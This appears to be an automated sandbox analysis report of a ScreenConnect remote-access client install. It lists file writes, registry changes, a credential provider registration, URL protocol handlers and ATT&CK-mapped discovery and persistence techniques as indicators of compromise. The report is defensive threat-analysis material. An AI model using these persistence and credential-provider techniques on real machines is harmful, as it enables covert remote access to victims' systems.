File opened for modification	C:\Windows\Installer\MSI8B56.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_142202464\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\Installer\wix{E27A66E3-954D-B165-31B8-65FB897FFA01}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8B56.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_406690977\deny_domains.list	msedge.exe
File created	C:\Windows\Installer\SourceHash{E27A66E3-954D-B165-31B8-65FB897FFA01}	msiexec.exe
File created	C:\Windows\Installer\{E27A66E3-954D-B165-31B8-65FB897FFA01}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\ScreenConnect\26.4.3.9662\nhold3f5g67leul345ft6hhu0o7hw.ClientSetup.msi	ScreenConnect.ClientService.exe
File created	C:\Windows\Installer\e609416.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9704.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_212046791\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_406690977\deny_full_domains.list	msedge.exe
File opened for modification	C:\Windows\Installer\MSI8B56.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_6618598\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_1061963444\classification.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_406690977\deny_etld1_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_988564609\crl-set	msedge.exe
File opened for modification	C:\Windows\Installer\MSI8B56.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI8C42.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9704.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9704.tmp-\ScreenConnect.Core.dll	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_6618598\smart_switch_list.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSI8B56.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_1061963444\extraction.js	msedge.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9AEE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8C72.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_6618598\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_148090337\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_2020782644\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\Installer\e585b7b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{B04E6EF3-E2F9-9082-63D2-4E4F5FCCEA3C}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_212046791\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2152_148090337\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
3184	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HideFromControlPanel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HideFromControlPanel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5228	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000020c8f0fe5d92f37a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000020c8f0fe0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090020c8f0fe000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a20c8f0fe000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d20c8f0fe000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 53 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Owner = 900d000078e7a6f4eb28dd01	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = a683aff984b4e8b3f306a5aa905c460d21caa434c580a845228fab0aae0f47fc	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	ScreenConnect.ClientService.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{8D80504A-0826-40C5-97E1-EBC68F953792} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 01000000000000008d2986f4eb28dd01	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-18_Classes\Local Settings	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "1"	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\29\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308557659638167"	msedge.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = 166d4a76d8b721783cb30342a454d89686c03814dc23f7cc94554444405a2ce2	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1c754076264d6096\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3FE6E40B9F2E2809362DE4F4F5CCAEC3\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\PackageCode = "3FE6E40B9F2E2809362DE4F4F5CCAEC3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\SourceList\Net\1 = "C:\\Windows\\SystemTemp\\ScreenConnect\\26.4.3.9662\\"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\0F759417294B740BC157046762D40669\3E66A72ED459561B138B56BF98F7AF10	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1c754076264d6096\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}\ = "ScreenConnect Client (a4d8f6cb35d8820f) Credential Provider"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1c754076264d6096\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1c754076264d6096\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\Version = "436469763"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-a4d8f6cb35d8820f\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (a4d8f6cb35d8820f)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3E66A72ED459561B138B56BF98F7AF10\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (a4d8f6cb35d8820f)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-1c754076264d6096	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1c754076264d6096\shell\open	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1c754076264d6096	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-8E99-8CA4C6ECECDE}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (1c754076264d6096)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\PackageCode = "3E66A72ED459561B138B56BF98F7AF10"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\ProductIcon = "C:\\Windows\\Installer\\{E27A66E3-954D-B165-31B8-65FB897FFA01}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\Version = "402849799"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\SourceList\PackageName = "nhold3f5g67leul345ft6hhu0o7hw.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1c754076264d6096\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (1c754076264d6096)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-8E99-8CA4C6ECECDE}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\567FCAAEA41A71C84A8D6FBC538D28F0	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\567FCAAEA41A71C84A8D6FBC538D28F0\3FE6E40B9F2E2809362DE4F4F5CCAEC3	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-8E99-8CA4C6ECECDE}\ = "ScreenConnect Client (1c754076264d6096) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E66A72ED459561B138B56BF98F7AF10\ProductName = "ScreenConnect Client (1c754076264d6096)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\AdvertiseFlags = "388"	msiexec.exe
